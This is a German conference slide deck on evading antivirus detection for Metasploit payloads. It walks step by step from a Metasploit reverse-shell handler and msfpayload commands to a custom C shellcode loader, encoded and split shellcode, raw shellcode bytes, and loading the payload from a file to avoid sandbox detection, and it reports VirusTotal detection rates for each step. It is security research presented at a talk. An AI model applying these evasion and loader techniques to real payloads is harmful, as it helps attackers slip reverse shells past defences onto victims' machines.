BTD

Antivirus Evasion: Von der Idee zum PoC

Daniel Sauder SySS GmbH

WHOAMI

- IT Security Consultant bei der SySS GmbH
- Vier Jahre Windows Admin
- Interesse an Mobile Apps, Web Apps, Windows Hacking u.v.m.
- OSCP seit September 2012
- Hacking for fun

ÜBERSICHT

- Warum?
- Testaufbau
- Entwicklung von der Idee zum PoC in drei Schritten
- Demonstration des PoC
- Weitere Überlegungen

- Fragen gerne sofort stellen

WARUM?

```
msf> use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/
reverse_https
msf exploit(handler) > set LHOST foo.bar
msf exploit(handler) > set LPORT 4443
msf exploit(handler) > exploit
[*] Started HTTPS reverse handler on https://foo.bar:4443/
[*] Starting the payload handler...
-- SNIP --
[*] Meterpreter session 1 opened (192.168.0.3:4443 ->
192.168.0.129:51375) at 2011-06-29 02:43:55 -0500
-- SNIP --
meterpreter > getsystem
...got system (via technique 1).
```

ABER

- Mit Metasploit erzeugte ausführbare Dateien werden von allen relevanten Antivirenscannern erkannt
- Publizierte Lösungen für AV-Evading werden in der Regel ebenfalls von Antivirenscannern erkannt
- Eine Eigenentwicklung wird vermutlich nicht erkannt

TESTAUFBAU

- Programmiersprache C, Compiler mingw unter Backtrack
- Als Shellcode wurde die Windows Reverse-TCP und Reverse-HTTPS Shell von MSF verwendet
- Die erzeugten Dateien für die Proof-of-Concept Entwicklung wurden auf virustotal.com getestet
- Das Ziel aller Bemühungen ist Windows

METASPLOIT

- Mit Metasploit erzeugte EXE-Datei

```
/opt/metasploit-4.3.0/msf3/msfpayload
windows/shell/reverse_tcp LHOST=192.168.42.100 x > shell_
rev.exe
```

- Erkennungsrate bei Virustotal: 34 / 45

BEISPIEL 1

- Wie kann die Exe-Datei so geändert werden, dass sie von weniger Scannern erkannt wird?
- Vermutung: Das Exe-Template von MSF wird häufig schon erkannt
- Das leere Template ohne Payload wird schon als schädlich erkannt

BEISPIEL 1

- Lösung: ein eigener Shellcode Binder

```
char shellcode[] =
"Shellcode";

int main(int argc, char **argv)
{
  int (*funct)();
  funct = (int (*)()) shellcode;
  (int)(*funct)();
}
```

BEISPIEL 1

- Shellcode erzeugen mit:

```
/opt/metasploit-4.3.0/msf3/msfpayload windows/shell/reverse_tcp LHOST=192.168
.42.100 C
```

BEISPIEL 1

```
-- SNIP --
unsigned char buf[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
-- SNIP --
unsigned char buf[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
-- SNIP --
```

BEISPIEL 1

- Multistager, daher zwei buffer
- Nur der erste Buffer ist relevant
- Der Shellcode wird mit dem Shellcodebinder aufgerufen

BEISPIEL 1

- Erkennungsrate bei Virustotal: 18 / 44
- Alleine schon dadurch, das nicht der Binder von MSF verwendet wird, erkennen weniger Produkte die Datei als schädlich
- Aber natürlich wird die Datei trotzdem noch von allen relevanten Scannern erkannt

BEISPIEL 1

Zwischenversuch

- Den Shellcode zusätzlich in zwei Char Arrays aufteilen und im Speicher wieder zusammenfügen
- Erkennungsrate bei Virustotal: 13 / 44
- Nach dem Aufteilen in 6 Teile war die Erkennungsrate 12 / 44

BEISPIEL 2

Den Shellcode als ASCII kodieren

- Den Shellcode im ASCII Format speichern
- Eine Verschlüsselung mit einem OTP macht keinen Unterschied
- Vor der Ausführung wieder in den ausführbaren Code umwandeln
- Erkennungsrate bei Virustotal: 10 / 44

BEISPIEL 2

Shellcode erzeugen

- Erst msfpayload

```
/opt/metasploit-4.3.0/msf3/msfpayload
windows/shell/reverse_tcp LHOST=192.168.42.100 C > shellc
ode.txt
```

- Shellcode zurechtschneiden

```
cat shellcode.txt | tr -d "\\" | tr -d "x"
```

BEISPIEL 2

```
//pseudocode
unsigned char buf[] =
"fce8890000006089e531d2648b5230"
"8b520c8b52148b72280fb74a2631ff"
"31c0ac3c617c022c20c1cf0d01c7e2"
-- SNIP --
unsigned char *shellcode;
buffer2shellcode();
int (*funct)();
funct = (int (*)()) shellcode;
(int)(*funct)();
```

BEISPIEL 2

- Annahme: Payload und Loader werden nicht erkannt
- Frage: Warum wird dann die Datei als schädlich erkannt?

BEISPIEL 2

- Datei wird in einer Sandbox ausgeführt und untersucht
- Was kann man dagegen tun?

BEISPIEL 3

- Shellcode aus Datei laden
- notwendigen Block kopieren
- Shellcode zurechtschneiden

```
cat shellcode.txt | tr -d "\\" | tr -d "
x" |
tr -d "\n" | tr -d "\"" | tr -d ";"
```

- Shellcode in Textdatei schreiben
- Datei in exe laden und ausführen

BEISPIEL 3

Datei mit ASCII Shellcode

```
fce8890000006089e531d2648b52308b520c8b52148b72280fb
74a2631ff31c0ac3c617c022c20c1cf0d01c7e2f052578b5210
8b423c01d08b407885c0744a01d0508b48188b582001d3e33c4
98b348b01d631ff31c0acc1cf0d01c738e075f4037df83b7d24
75e2588b582401d3668b0c4b8b581c01d38b048b01d08944242
45b5b61595a51ffe0585f5a8b12eb865d686e6574006877696e
6954684c772607ffd531ff575757576a0054683a5679a7ffd5e
b5f5b31c951516a03515168fb2000005350685789 9fc6ffd5eb
485931d252680032a08452525251525068eb552e3bffd589c66
...
```

BEISPIEL 3

Pseudocode

```
...
buffer = load_textfile(fvalue, buffer, size);
shellcode = decode_shellcode(buffer,shellcode,size);
exec_shellcode(shellcode);
...
```

SCHLUSS

Wesentliche Bestandteile

- Shellcodebinder
- Kodierung oder Verschlüsselung des Shellcodes
- Maßnahmen gegen die Erkennung durch Sandboxen

ANMERKUNGEN

- Ein weiteres Problem sind (Host) Firewalls
- virustotal.com passt auch im Nachhinein Ergebnisse an

LINKS

- funoverip.net
- Phrack, Using Process Infection to Bypass Windows Software Firewalls
- Stackoverflow, Testing a Shellcode

FRAGEN?

VIELEN DANK

DANIEL SAUDER || SYSS GMBH